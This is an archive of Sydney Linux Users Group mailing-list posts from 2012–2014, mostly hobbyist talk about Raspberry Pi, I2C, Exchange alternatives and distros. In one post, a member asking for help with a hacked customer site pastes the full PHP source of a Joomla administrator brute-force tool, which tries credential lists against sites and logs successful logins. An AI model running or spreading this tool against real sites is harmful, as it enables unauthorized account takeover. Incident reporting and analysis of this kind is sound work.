 everything goes straight in a bin for recycling.

  The flip side is that old computers can be outstanding value for
 money when used as computers ...  monochrome laser printer ...


 Free old equipment good value. My last two laser printers I picked up
 discarded in the street, complete with toner. But keep in mind that a laser
 printer uses a lot of power and if you only use them occasionally, turn
 them off at the wall.



 --
 Tom Worthington FACS CP, TomW Communications Pty Ltd. t: 0419496150
 The Higher Education Whisperer http://blog.highereducationwhisperer.com/
 PO Box 13, Belconnen ACT 2617, Australia  http://www.tomw.net.au
 Liability limited by a scheme approved under Professional Standards
 Legislation

 Adjunct Senior Lecturer, Research School of Computer Science,
 Australian National University http://cs.anu.edu.au/courses/COMP7310/
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Re: [SLUG] Linux Exchange Alternative

2014-01-31 Thread David Lyon
Hi Edwni,

I'm counting 8 ^ 2 * 2 answers.

First, do you want the output in csv or pdf ?

Secondly, what colour are you wanting the column-headings in ?

Thirdly, what's the sort order ?




On Fri, Jan 31, 2014 at 1:08 PM, Edwin Humphries 
edw...@netsensecomputers.com.au wrote:

 Guys, thanks for all the feedback. I now have 8 options. Just checking if
 anyone has any recommendations (either positive or negative); being based
 in a country town (Kiama) I'm not a full-time server or Linux tech.

 1. zimbra
 2. sogo
 3. zarafa
 4. axigen
 5. zentyal
 6. open-xchange
 7. kolab
 8. scalix


  Regards,
 Edwin Humphries
 Mobile: 0419 233 051



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Re: [SLUG] Linux Exchange Alternative

2014-01-29 Thread David Lyon
Hi Edwin,

I did this for a client in the last few weeks.

This might not be a perfect match to your question but in the end we
selected Lightning Calendar for firefox:
http://www.mozilla.org/en-US/projects/calendar/

It's turned out perfect for our users, because it is just an extension that
runs inside Thunderbird and doesn't require a Server.

I came across a distro that does exactly what you are asking for. I will
try to find it in my browser history.






On Thu, Jan 30, 2014 at 2:32 PM, Edwin Humphries 
edw...@netsensecomputers.com.au wrote:

 G'day all.

 Some time ago I had a look at a Linux alternative to M$ Exchange - I seem
 to recall that it had been started by HP, then handed over to someone else.
 It was commercial software (paid) but a realistic alternative to Exchange.

 I have a client with 6 PCs using Outlook, who now needs an Exchange
 SErver, and is willing to look at a Linux alternative, but I now can't find
 the software i remember.

 There seem to be several others, so I wonder: what does everybody think is
 the best option (especially in terms of ease of installation and
 configuration). The main goal is Outlook-based shared calendaring.

 --

 Regards,
 Edwin Humphries
 Mobile: 0419 233 051
 NetSense Computers (Ironstone Technology Pty Ltd)


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Re: [SLUG] Linux Exchange Alternative

2014-01-29 Thread David Lyon
Hi Edwin,

http://www.zentyal.org/ is what I found, but I haven't used it.


On Thu, Jan 30, 2014 at 2:40 PM, David Lyon david.lyon.preissh...@gmail.com
 wrote:

 Hi Edwin,

 I did this for a client in the last few weeks.

 This might not be a perfect match to your question but in the end we
 selected Lightning Calendar for firefox:
 http://www.mozilla.org/en-US/projects/calendar/

 It's turned out perfect for our users, because it is just an extension
 that runs inside Thunderbird and doesn't require a Server.

 I came across a distro that does exactly what you are asking for. I will
 try to find it in my browser history.






 On Thu, Jan 30, 2014 at 2:32 PM, Edwin Humphries 
 edw...@netsensecomputers.com.au wrote:

 G'day all.

 Some time ago I had a look at a Linux alternative to M$ Exchange - I seem
 to recall that it had been started by HP, then handed over to someone else.
 It was commercial software (paid) but a realistic alternative to Exchange.

 I have a client with 6 PCs using Outlook, who now needs an Exchange
 SErver, and is willing to look at a Linux alternative, but I now can't find
 the software i remember.

 There seem to be several others, so I wonder: what does everybody think
 is the best option (especially in terms of ease of installation and
 configuration). The main goal is Outlook-based shared calendaring.

 --

 Regards,
 Edwin Humphries
 Mobile: 0419 233 051
 NetSense Computers (Ironstone Technology Pty Ltd)


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Re: [SLUG] Car on-board diagnostics

2013-11-19 Thread David Lyon
Hi David,

For some reason, this message went in my spam bin and I only just found it.

How's the status with this ?


On Sat, Oct 26, 2013 at 11:41 PM, David Joshua Geary 
bianca.ura...@gmail.com wrote:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 Trying to interface with my car's on-board computer.

 The car is a Holden Astra TS99A with X18XE engine.

 I update this wiki page with what I've learned about it:

 http://www.uranus.strangled.net/mediawiki/index.php/Car_On-Board_Diagnostics

 I'm looking for information on the ALDL communications protocol, ie
 how to send commands and how to interpret the responses.

 - --
 David Joshua Geary
 Debian, The Universal Operating System http://debian.org/
 I don't care what software you use so long as
   we only exchange files in open data formats
 Open-Document http://en.wikipedia.org/wiki/Open_Document
 Ogg http://en.wikipedia.org/wiki/Ogg
 PDF http://en.wikipedia.org/wiki/Pdf

 - -BEGIN PGP PUBLIC KEY BLOCK-
 Version: GnuPG v1.4.10 (GNU/Linux)

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[SLUG] SLUG Meeting Information followup on GM Serial Interfaces

2013-11-03 Thread David Lyon
David gave a Lightning talk on GM interfacing.

Here is the information that I found:
http://www.techedge.com.au/vehicle/aldl160/vn_aldl.htm

Hope that is helpful to getting your Linux interfaced.

David
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[SLUG] Friday Night's meeting - any talks?

2013-06-25 Thread David Lyon
Hi all,

I was just checking the website and there are no talks posted yet.

Does anybody know RRDTool ? http://oss.oetiker.ch/rrdtool/

It would be great if, just for me, somebody who knows it could do a
talk or a lightning talk on that.

Regards

David
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Re: [SLUG] TCP/IP over I2C

2013-06-04 Thread David Lyon
On Wed, Jun 5, 2013 at 9:39 AM, Glen Turner g...@gdt.id.au wrote:


 The lack of two I2C ports on the RPi would be a practical reason. The sense
 of master and slave carries electrical implications, so a port can't change
 from one to the other without restarting the bus and all of its devices.


Actually the Raspberry-Pi does have two I2C ports. It's on the second GPIO
interface but doesn't have the pin header soldered in. It's available
providing
you don't mind doing a small amount of soldering.
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Re: [SLUG] TCP/IP over I2C

2013-06-03 Thread David Lyon
On Sat, Jun 1, 2013 at 5:30 PM, Chris Barnes chris.p.bar...@gmail.comwrote:

 This one might be impossible but does anyone have any clues for running
 TCP/IP over the I2C bus?

 I have a few Raspberry PIs and I'd like to create an Out Of Band network on
 them by linking them all by I2C and then running TCP/IP over it.


 Any suggestions?


It's interesting that I2C is a actually a multi-master master/slave system.

So there doesn't appear any theoretical reason as to why it wouldn't work.


Let us know the results if you get it working.
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Re: [SLUG] TCP/IP over I2C

2013-06-01 Thread David Lyon
On Sat, Jun 1, 2013 at 5:30 PM, Chris Barnes chris.p.bar...@gmail.comwrote:

 This one might be impossible but does anyone have any clues for running
 TCP/IP over the I2C bus?

 I have a few Raspberry PIs and I'd like to create an Out Of Band network on
 them by linking them all by I2C and then running TCP/IP over it.


It's probably much easier to just use the network port that's already
available on the Raspberry-Pi.

You could buy a hub/switch and some RJ45 cable and it would be done in a
few minutes.

One interesting benefit is that you could run USBIP which is USB sharing
for Linux over
TCP/IP. Something I've always wanted to try.
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Re: [SLUG] TCP/IP over I2C

2013-06-01 Thread David Lyon
Here's the link to that project:

 - http://usbip.sourceforge.net/
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Re: [SLUG] TCP/IP over I2C

2013-06-01 Thread David Lyon
The only issue that I can see is that I2C is a bus/master protocol. I know
the Linux drivers support being the Master but I'don't know if it supports
being a slave.

So I'm not even sure if you could easily accomplish it without using extra
hardware such as PIC/AVRs.
 On 01/06/2013 11:11 PM, Jake Anderson ya...@vapourforge.com wrote:

 Question 0 is do you really need tcp/ip?

 If you did I'd be looking to see if you can bind an i2c endpoint to a
 serial port then running some sort of ppp server on it.

 On 01/06/13 17:30, Chris Barnes wrote:

 This one might be impossible but does anyone have any clues for running
 TCP/IP over the I2C bus?

 I have a few Raspberry PIs and I'd like to create an Out Of Band network
 on
 them by linking them all by I2C and then running TCP/IP over it.


 Any suggestions?



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Re: [SLUG] python in linux mint

2013-05-30 Thread David Lyon
On Thu, May 30, 2013 at 4:07 PM, Michael Chesterton che...@chesterton.id.au
 wrote:

 Have you looked at the raspberry pi? it's designed for the classroom to
 teach kids about programming and computers.


Semi-related to that, a rep at Element14 at cebit was saying that there are
approx. 10,000
Raspberry-Pi's being sold in Australia every month. That's a lot of Linux
machines hitting
the streets.



 The ipython shell is nicer than the plain python shell and I'm sure there
 are other GUI apps that I'm not aware of that do what you want, so stay
 tuned ;)


It's worth trying that.

Also, tomorrow night, I will be giving a talk on I2C and Linux. It's a
communications bus
that you may never have known that you had.

I pulled out my Soldering-Iron and spent some time doing this on a spare
VGA adaptor:

 - http://flipthatbit.net/2011/04/interfacing-i2c-the-easy-way/

 - http://www.paintyourdragon.com/?p=43

When I plugged it into my notebook It worked rather nicely, and I'll be
bringing it along tomorrow
night for the talk.

It sounds complicated, but it's not so bad. When it's connected to a few
LED's it's actually
rather fun.
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[SLUG] Linux on the Supercomputer

2013-05-12 Thread David Lyon
Here's an article showing Linux is not only taking over the embedded
systems:

 -
http://www.zdnet.com/blog/open-source/fast-faster-fastest-linux-rules-supercomputing/11263
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Re: [SLUG] Enlightenment

2013-05-08 Thread David Lyon
I've had a similar experience. My Enlightenment (Bodhi Linux) notebook has
O/S imploded
with two weeks of continuous use.

After changing themes, the file manager doesn't display anything (rendering
problem?) making
copying files from the SD card easily, not easy. Back to shell.

Then, git for some reason has stopped being able to 'push'. Which is really
frustrating
considering that the only 'typing' and web-browsing, are the only function
left to me that
now work.

(Sigh)
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[SLUG] Weekly Reading material for Linux

2013-05-07 Thread David Lyon
Hi all,

This site has on some of the interesting posts on what Linux has been doing
recently:

 - http://linuxgizmos.com/

Many things I didn't know about.
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Re: [SLUG] Installing Richcomm PowerManager on Ubuntu-type system

2013-05-07 Thread David Lyon
I've not tried with any modern devices but the older UPS's used to toggle
the CTS or DTR
data line on the serial-port to tell the PC that power was available.

The driver would simply watch the pin and when it toggled the software
would start taking
action.

These lines are still made available via the USB driver but it looks like
the issue is with
the installation section.
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Re: [SLUG] multi file rename matching moved multiple regex pattern matches using shell expansion only

2013-05-03 Thread David Lyon
On Fri, May 3, 2013 at 1:44 PM, Kyle k...@attitia.com wrote:


 'Statement_Monthwhitespace**4 digit yr.pdf'

 which I want to rename to

 '4 digit yr_Month_Statement.pdf'

 I can work out the regex, but having trouble figuring out how to feed this
 through the shell.


It's admirable to know how to do that. But for safety's sake I'd just do an
ls  myrename.sh
then edit the file manually.

Think of what could happen to your bank statements with the slightest
keystroke error.

For me, I'd personally play it safe and edit the rename file.
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Re: [SLUG] Fwd: Re: Smallest and Cheapest Linux Computer ?

2013-04-30 Thread David Lyon
I'm really slow to get new stuff. I only just got a sata SSD.

However, I've seen these:


   -
   
http://www.ebay.com.au/itm/Free-PP-Case-USB-2-0-to-2-5-SATA-Hard-Disk-USB-Interface-Converter-Adapter-/181006710919?pt=AU_CablesConnectorshash=item2a24d73887


That might allow me to connect an SSD. The one I have is really tiny like
this:


   - www.ebay.com.au/itm/360579278186


It's an indirect path. It has to sit on a SATA convertor:


   -
   
http://www.ebay.com.au/itm/SYBA-SY-ADA40050-mSATA-PCI-E-PCIE-SSD-50mm-to-2-5-inch-SATA-Adapter-Converter-/390550912626?pt=LH_DefaultDomain_0hash=item5aeea5fe72

It's a lot of adaptors...
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Re: [SLUG] Fwd: Re: Smallest and Cheapest Linux Computer ?

2013-04-29 Thread David Lyon
On Tue, Apr 30, 2013 at 3:39 PM, Grant Bailey 
grant_malcolm_bai...@westnet.com.au wrote:

 Is either device powerful enough to act as small business server? I
 realise that some people have turned the Pi into a server but I'm not sure
 whether they have been deployed for commercial applications.


That Depends on the expectations.

The main consideration is that the Pi has a really low performance disk
interface.

Out of the box it has an SD disk interface. It should be fastish* but SD
cards have limited capacity.

It can accept a portable USB disk but the USB transfer rate on the Pi is
not great. But it might give you
500GB or more at slowish transfer rates.

Still, depends on how much you load it. Samba will run. Sounds like it's
worth experimenting to come
up with some performance numbers.
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Re: [SLUG] Fwd: Re: Smallest and Cheapest Linux Computer ?

2013-04-29 Thread David Lyon
Here's some benchmarks that were previously done:

 - http://jalada.co.uk/2012/05/20/raspberry-pi-sd-card-benchmark.html
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[SLUG] Smallest and Cheapest Linux Computer ?

2013-04-28 Thread David Lyon
Is this the worlds cheapest Linux board ?

It runs Arch Linux.

It's interesting reading their user guide:

 -
https://www.olimex.com/Products/OLinuXino/iMX233/iMX233-OLinuXino-MICRO/resources/iMX233-OLINUXINO-MICRO.pdf
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[SLUG] Cool OpenSource Project for the week : Gambas3 - Going where Visual Basic wanted to go - on Linux

2013-04-17 Thread David Lyon
For any old Visual Basic Programmers, here's an interesting adaptation from
Benoît Minisin
who lives in Paris.

 - http://gambas.sourceforge.net/en/main.html

It's not a Clone of Visual Basic, but inspired by it.

I just downloaded the development environment by doing:

 sudo apt-get install gamba3

It's got many interesting examples. It has a really cheerful development
screen. Might be
worth playing around with if your are an old Basic-file. Meaning in the old
days the computers
just booted up to the basic prompt. How happy were those days.
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[SLUG] Fedora - Advancing with Gnome

2013-04-12 Thread David Lyon
I know there are Fedora lovers on the list. This might be something you
guys already know but for others it might be interesting reading:

 - http://worldofgnome.org/fedora-19-chasing-the-perfect-gnome-distro/
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Re: [SLUG] Firefox 20.0 Problems in Mint Linux

2013-04-11 Thread David Lyon
That's a joy of Linux, stuff gets screwed up for no obvious reason.

I'm really peaved now that my Terminology terminal stopped working showing
similar
symptons after I changed a config setting, now it won't let me get back to
the same menu
to change it to something else.

I'd suggest fresh reinstall. That's what I'm about to do. It just may be
quicker especially
if you do it from a USB stick.

I'd also try a different distro, like one of the ones people claim to be
good: Arch Mint
Bodhi MacPup etc just to learn something different.





On Fri, Apr 12, 2013 at 9:05 AM, Tom Worthington 
tom.worthing...@tomw.net.au wrote:

 On 11/04/13 12:10, Heracles wrote:

  ... enlightenment will work well on Mint ...


 Installed Enlightenment, but it did not fix my problem with Firefox 20.

 On 11/04/13 12:42, Francis (Grizzly) Smit wrote:

  you can launch it in safe mode from the command line ...


 That produced a small scrambled Firefox 20 window, with even less working.



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 Adjunct Senior Lecturer, Research School of Computer Science,
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[SLUG] Coffee Table Linux

2013-04-08 Thread David Lyon
In Europe, people not only use Linux to power data-centres but also
their coffee tables. Adding LED's to your Linux can give very relaxing
results.

Here's a nice coffee-table probject for Linux along with a
link to the source code:

 - https://metalab.at/wiki/RetinaTattoo
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Re: [SLUG] Coffee Table Linux

2013-04-08 Thread David Lyon
Sounds good to me.

Let's hear what other people have to say.


On Tue, Apr 9, 2013 at 11:02 AM, Marghanita da Cruz marghan...@ramin.com.au
 wrote:

 Thanks for this David.

 Perhaps we could have an LED Lighting theme for the May SLUG meeting.
 in the spirit of the vivid festival http://www.vividsydney.com/

 LEDs are my pet project, but the only link to Linux, so far, has been the
 webserver: 
 http://www.ramin.com.au/eco-**sydney/LED-Lighting-guide.**shtmlhttp://www.ramin.com.au/eco-sydney/LED-Lighting-guide.shtml

 Marghanita


 David Lyon wrote:

 In Europe, people not only use Linux to power data-centres but also
 their coffee tables. Adding LED's to your Linux can give very relaxing
 results.

 Here's a nice coffee-table probject for Linux along with a
 link to the source code:

  - 
 https://metalab.at/wiki/**RetinaTattoohttps://metalab.at/wiki/RetinaTattoo



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 http://ramin.com.au/
 Phone:(+61)0414-869202



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[SLUG] CFP - Tokyo Raspberry-Pi Users Group Linux Talks

2013-04-03 Thread David Lyon
This is as much an opportunity to learn as it is to talk, but I'm passing
on this
information as the Raspberry-Pi is after all a Linux Machine for the masses:


We've already set our biggest Raspberry Jam on May 25th at IIJ Jinbocho
Office.
so we getting started opening Call for Paper for the event.

We've love to share your knowledge through the Jam.
1.Software tips(for beginners)
2.Hardware tips(for advances)

please mare sure following the link,

http://www.raspi.jp/?page_id=77
or
mailto:masaf...@pid0.org

Of course,you can present in English at the Jam we will have translators
for you and Eben :-)

if any question feel free to email me masaf...@pid0.org

Cheers,
Masafumi Ohta
Lead of Japanese Raspberry PI Users Group

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[SLUG] Cool New Terminal Emulator for a modern look in Linux

2013-04-03 Thread David Lyon
Hi all,

I was really happy with my terminal-shell until I discovered this:

 -
http://www.webupd8.org/2013/04/terminology-more-than-terminal-emulator.html

Terminology is an updated 3D/OpenGL version of Terminator.

For those into command line shells, it's quite interesting.
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[SLUG] Welcome to the new command line for linux

2013-04-03 Thread David Lyon
Sorry for double posting but here is the homepage to Terminology:

 - http://www.enlightenment.org/p.php?p=about/terminology
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Re: [SLUG] Linux training

2013-04-02 Thread David Lyon
Another way of learning Linux is to come to Hardware Freedom Day at the
Raspberry-Pi users group.

 - http://www.ozberrypi.org/events/109635212/

It's not really structured, but you will get exposure and see Linux in
action.

I've been doing Linux for some years and I always learn something that I
didn't know from
somebody else. You'd be more than welcome.


On Mon, Apr 1, 2013 at 10:11 AM, grant_malcolm_bai...@westnet.com.auwrote:

 Hello, I'm an inexperienced Linux user and would like to undertake some
 training in the Sydney area.Does anyone know of any suitable courses.Thank
 you and regards,Grant Bailey
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Re: [SLUG] Question: I gave a lightning talk 1 or 2 months ago. Are these still being posted, downloadable?

2013-03-31 Thread David Lyon
Not sure but it might be some time.

I just checked the homepage at http://www.slug.org.au/ and it's been
recently updated to show a talk from 2010 !

(Maybe they are just testing new features - not sure)


On Fri, Mar 29, 2013 at 6:11 AM, Jason Haston jason.has...@gmail.comwrote:

 Question: I gave a lightning talk 1 or 2 months ago. Are these still being
 posted, downloadable?
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Re: [SLUG] Pimp My Notebook: Linux, Solid State Disk, RAM and New Paint Job for the HP Pavilion DM1

2013-01-21 Thread David Lyon
Alternatively, have you looked at using a Raspberry-PI.

Linux works fine on that.
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Re: [SLUG] Tuning Systems and Energy Use (Sys Admin Roles and Responsibilities)

2012-10-18 Thread David Lyon
On Thu, Oct 18, 2012 at 8:51 PM, Jeremy Visser jer...@visser.name wrote:

 Makes me wonder how much I’m killing the planet with the 700W power
 supply in my PC.


You won't kill the planet, on account of it having an iron core. Don't
worry.

You'd need thousands of megawatts (at least) for your power-supply
to damage the planet. You can read here to see where 700w fits into
the orders of energy magnitude scale:

 - http://en.wikipedia.org/wiki/Orders_of_magnitude_%28energy%29

In any case just because it is rated at 700W doesn't mean that the
computer is using 700W.

btw, 700W is about 1hp, which is the power output of a fit human
running at full speed. Or, using a metal demolition hammer to hit
the ground as hard as you can. Can't do to much damage to the
planet with a hammer like that - lol.
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Re: [SLUG] Tuning Systems and Energy Use (Sys Admin Roles and Responsibilities)

2012-10-18 Thread David Lyon
On Fri, Oct 19, 2012 at 1:57 PM, Michael Chesterton che...@chesterton.id.au
 wrote:

 Its primary goal is safety though, not efficiency.

 I want to add a linux angle, but can't think of one.


The powers-that-be-here don't even want you to know what can
actually be achieved with Linux.

In Tokyo they have a crazy robot train (crazy for a sydney person) that
runs into town and back. Anyway, you can sit where the driver would
normally be.

It's fully automated, and therefore, without doubt consumes less power
than having a human being driving the train. I say this because an
industrial pc having about 5w energy consumption.

No metal is needed for the drivers compartment, or aircon, so there's
definitely an energy saving there.

The trains use a Linux RTOS like QNX. Which is very popular over there.

The Japanese systems are very safe. They look at it the other way
around in that when there are deaths, it's caused by human error. Not
the machines. I tend to agree with their perspective.

The issue is about Jobs. The Japanese don't mind having 10x Linux
Engineers in preference to 10x Train Drivers.

In Sydney, sadly, they seemingly would prefer to have 10x train drivers and
less Linux Engineers than have the balance the other way around.

The assertion is that Linux Engineers are dangerous and train-drivers
and people that ride bicycles are not. We have to accept our backwards
looking leaders. That's just how it is.
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Re: [SLUG] Customer site hacked with brut.php - what to do?

2012-08-22 Thread David Lyon
I have changed the password on the hosting account.

It won't be possible to reload everything else
because it is an ISP hosted machine.
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[SLUG] Customer site hacked with brut.php - what to do?

2012-08-21 Thread David Lyon
I have a customer with a hacked website.

When I ftp'd to their web-server I found this wart (listed below - saved as
brut.php):

How did the hacker put it on my system ? What could it have comprimised ?
What
can I do to stop further consequences?

--- brut.php (don't run this) ---

body bgcolor=#808080

p align=centerbfont size=5 color=#FF#nbsp; GaStRo
-Dznbsp;nbsp; #/font/b/p
p align=centerbfont color=#FFJoomla Speed Brute
Force/font/b/p
form method=post action= enctype=multipart/form-data
p align=centerbfont color=#FFUsername/font/bfont
color=#FF:
input type=text name=usr value='admin' size=28  bEx: Admin ;
administrator/b/font/p
p align=centerfont color=#FFin , administrator ,  ..br
/fontbfont color=#FFsites list:/font/bfont
color=#FF
input type=file name=sites size=34/font/p
p align=centerfont color=#FFbr
/fontbfont color=#FFPass list/font/bfont color=#FF
input type=file name=w0rds size=35/font/p
p align=centerfont color=#FFbr
input type=submit name=x value=Start!
/font/p
/form
p align=centerfont color=#FFba href=http://Www.sec4ever.com

font color=#FFWww.sec4ever.com/font/a span
lang=ar-dz|/span
a href=http://Www.gastro-dz.net;font color=#FFWww.gastro-dz.net
/font/a
/b/font/p
p align=centerbfont color=#FFGreetZ To : OxyL - Damane - Th3
Killer Dz - th3 Viper - L3b r1'z - hacker-1420 - Abu Hamid Madridi -  Al l
Dz Hackerz Team/font/b/p
p align=centernbsp;/p

?
@set_time_limit(0);
# joomla brute force
# Coded by Gastro
#Devloped by Gastro

if($_POST['x']){

echo hr;

$sites = explode(\n,file_get_contents($_FILES[sites][tmp_name])); //
Get Sites !

$w0rds = explode(\n,file_get_contents($_FILES[w0rds][tmp_name])); //
Get w0rdLiSt !

$Attack = new Joomla_brute_Force(); // Active Class

foreach($w0rds as $pwd){

foreach($sites as $site){

$Attack-check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}

}

}


# Class  Function'z

function txt_cln($value){  return str_replace(array(\n,\r),,$value);
}

class Joomla_brute_Force{

public function check_it($site,$user,$pass){ // print result

if(eregi('com_config',$this-post($site,$user,$pass))){

echo b# login successful : $user:$pass - $site/bBR;
$f = fopen(j0s_result.txt,a+); fwrite($f , $user:$pass - $site\n);
fclose($f);
flush();
}else{ echo # Failed : $user:$pass - $siteBR; flush();}

}

public function post($site,$user,$pass){ // Post - user  pass

$token = $this-extract_token($site);

$curl=curl_init();

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site./administrator/index.php);
curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'passwd='.$pass.'lang=en-GBoption=com_logintask=login'.$token.'=1');

curl_setopt($curl,CURLOPT_TIMEOUT,20);

$exec=curl_exec($curl);
curl_close($curl);
return $exec;

}

public function extract_token($site){ // get token from source for -
function post

$source = $this-get_source($site);

preg_match_all(/type=\hidden\ name=\([0-9a-f]{32})\ value=\1\/si
,$source,$token);

return $token[1][0];

}

public function get_source($site){ // get source for - function
extract_token

$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site./administrator/index.php);
curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);

$exec=curl_exec($curl);
curl_close($curl);
return $exec;

}

}

?
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[SLUG] Copying mc (midnight commander text) to local clipboard

2012-08-20 Thread David Lyon
I have to ssh to a remote machine.

Then I use Midnight Commander for editing. It's pretty much what I like
but ..

 .. Anybody know how to copy text to the local clipboard. It over-rides the
ssh clipboard. I want to cut + paste between ssh windows.
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[SLUG] Linux in your keyboard

2012-08-14 Thread David Lyon
For fans of linux :

http://hackaday.com/2012/08/14/turning-a-keyboard-into-a-computer-with-a-raspberry-pi/
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[SLUG] Recycling/Disposing of old PC's - Send to kids in Africa for their schools

2012-08-13 Thread David Lyon
If anybody has PC's to throw out, let me know. I can come pick
them up.

It turns out my friend is looking for such things and will send them
to Sierra-Leone in Africa to teach kids about computers.
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[SLUG] Editing a text file (to preserve line-endings) - how to do it ?

2012-08-01 Thread David Lyon
Seemingly easy question, but it's not that simple.

I have a text file which is from a legacy system. It's actually
print data.


  |||
SALES - SUPPLIERX FOR MONTH |161-2-1-N   |UPDATE
SALES|H.G

  |||
SALES - SUPPLIERY MONTH REPORT  |161-2-2-Y-S |PRT101.PRG
|G.G


Anyway, the document is full of mixed cr and cr+lf data.

I need to preserve the 'delicate' mix and edit the file.

Every time I save it in geany, it sanitises the line endings rendering the
file useless.

What should I use ?
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[SLUG] Android PC's for hacking

2012-07-03 Thread David Lyon
I stumbled upon these:

http://www.aliexpress.com/product-gs/575789804-MK802-Android-4-0-Mini-PC-Thumb-Drive-Android4-0-IPTV-Smart-HD-Player-wholesalers.html
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[SLUG] Samba question

2012-05-22 Thread David Lyon
Not that I could ever figure it out properly myself
but I do know the values are stored in samba.conf
in /etc.

They have a creation flag setting that you can
easily change.
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Re: [SLUG] DWG (autocad) Viewer / Convert to SVG

2012-05-11 Thread David Lyon
A lot of people use DXF then go to SVG/PNG that way.

On Fri, May 11, 2012 at 6:17 PM, meryl gnu...@aromagardens.com.au wrote:

 Hi all,

 Can anyone recommend a DWG (autocad) Viewer / Converter to SVG and or
 PNG

 A cursory search returns LX-Viewer and DraftSight.

 Which one do you use, or do you prefer another programme ?

  (A deb package would be ideal!)

 regards,

 Meryl
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Re: [SLUG] High System CPU usage and finding culprit

2012-05-08 Thread David Lyon
Are they dual core ?

Do they have a sheetload of memory ?

I found ubuntu got slower and slower till I got in
newer hardware.
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Re: [SLUG] Bar Code scanners

2012-04-15 Thread David Lyon
Do you want to buy a Brother Scanner with a network
interface?

Some scanners have text reading.

The mastersource for OCR is on Sourceforge. Can't
remember the packages name. Maybe Ubuntu has an
OCR package. I would be surprised if it didn't work.

Modern scanners have PDF scan, like the advert
one I want to sell for $55.

 -
http://www.gumtree.com.au/s-ad/wolli-creek/printers/brother-mfc-6490cw-printer-fax-scanner-copier-ink-cartridges/1000928654

/advert.

You can read PDF pages on a modern tablet computer
thus saving any of the bother of OCR.
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Re: [SLUG] Linux and Apache limits on number of files in a directory

2012-04-04 Thread David Lyon
imho if you have so many files, it might be worth looking at a CMS
where a record can be created for each item and rendered on demand.

On 4/5/12, Jake Anderson ya...@vapourforge.com wrote:
 I wouldn't expect 1500 files in a dir to be slow (from the file system
 POV, the ftp server is doing who knows what).
 slow would probably start to kick in ~10-30k files (and in general that
 should still be fairly quick, opening the file would probably take on
 the order of half a second).

 Look at all the maildir based email systems out there, with 60k+ emails
 in a folder.

 On 04/05/2012 12:50 PM, Marghanita da Cruz wrote:
 Michael Fox wrote:
 Subsequent access yes, but the first access no. In addition, I still
 think having 1000 directories (each with so many files under each of
 those directories) is vastly better compared to 1 million files in a
 single directory.


 Good point, I just checked I am at 1406 files in the directory, so
 probably
 time to start spreading files across multiple directories. The ftp ls was
 slow and it probably also slows writing (uploading replacing files).

 At some time in the past, there was a suggestion about keeping files of
 particular types together in separate directories. Does anyone have any
 comments on this?

 Very easy choice for managing using the first example.. web proxy or
 not :)

 On Thu, Apr 5, 2012 at 9:40 AM, Marghanita da Cruz
 marghan...@ramin.com.au mailto:marghan...@ramin.com.au wrote:

 When I downloaded the players in a single directory on my
 computer after download the directory management took it toll on
 my application,  following the same directory structure had a
 massive improvement on performance,  a simple divide gave me the
 directory.


 It would be worth noting, that caching would make the situation
 slightly different on a webserver.

 Marghanita
 -- Marghanita da Cruz
 Ramin Communications (Sydney)
 Website: http://ramin.com.au
 Phone:(+612) 0414-869202


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[SLUG] Android features merging into Linux Kernel

2012-04-01 Thread David Lyon
http://hackaday.com/2012/03/19/android-rolled-into-linux-kernel-3-3/
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Fwd: [SLUG] Ubuntu instalation

2012-04-01 Thread David Lyon
Don't know, but could be more than the hard-disk is dead.

What type of computer ?

I have recently encountered the same problem with HP-Desktops and
was told that the CMOS battery was dead. True to the advice, when I
replaced the battery the systems no longer came up with a blank
screen and booted properly.
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[SLUG] Linux on 8 bit AVR

2012-03-30 Thread David Lyon
This guy says it is a little slow but it does work..

http://dmitry.co/index.php?p=./04.Thoughts/07.%20Linux%20on%208bit
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Re: [SLUG] Ubuntu 12.04 (David Lyon)

2012-03-30 Thread David Lyon
ok, I think I will download the beta and try it.

For those who haven't seen Ubuntu 12 with its ultra-cool Heads-Up-Display
and tweaked User Interface check it out at:

 - http://www.omgubuntu.co.uk/2012/03/ubuntu-12-04-beta-1-released/
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[SLUG] Ubuntu 12.04

2012-03-29 Thread David Lyon
 -
http://www.pcworld.com/businesscenter/article/251210/seven_new_features_in_ubuntu_1204_precise_pangolin_beta_1.html

(I just downloaded their alpha. It's user interface is really schmick. Sadly
it just wouldn't install to my machine properly). But what I did see was
very, very nice.
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Re: : [SLUG] Re: Raspberry Pi

2012-03-05 Thread David Lyon
On Tue, Mar 6, 2012 at 1:28 PM, Bruce Hodsdon bhods...@rhmeng.com wrote:

 Like Chris, I haven't ordered yet,

 Raspberry pi  Arduino, what can we do?


You wouldn't need an Arduino if you had a r.Pi. It has a GPIO area
that you can hook in whatever you need.
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Re: [SLUG] Hacking Hackable Android Pads

2012-02-17 Thread David Lyon
I have a transistor serial port.. Yeah they are cool.

If its SOC that means the serial port is actually inside the processor
itself like an AVR.

Just have to find out which pins they are ie RX/TX.

First step for me is tracking down which pins they are.

As for the kernel, it must be problematic for an outsider to do.

Getting a bog standard debian to run is still quite a good achievement.

Im just thinking of using these cheap pads and redoing the cases.

The whole pad computer w Lcd comes to the same price as the lcd alone.

Case was easy to open. I can't remember right now how. I think a small
- driver at a strategic point on the case released a clip.

I'll try find out what it was later.

On 2/17/12, Christopher Barnes chris.p.bar...@gmail.com wrote:

 I don't really know too much about ARM based devices and dev boards but from
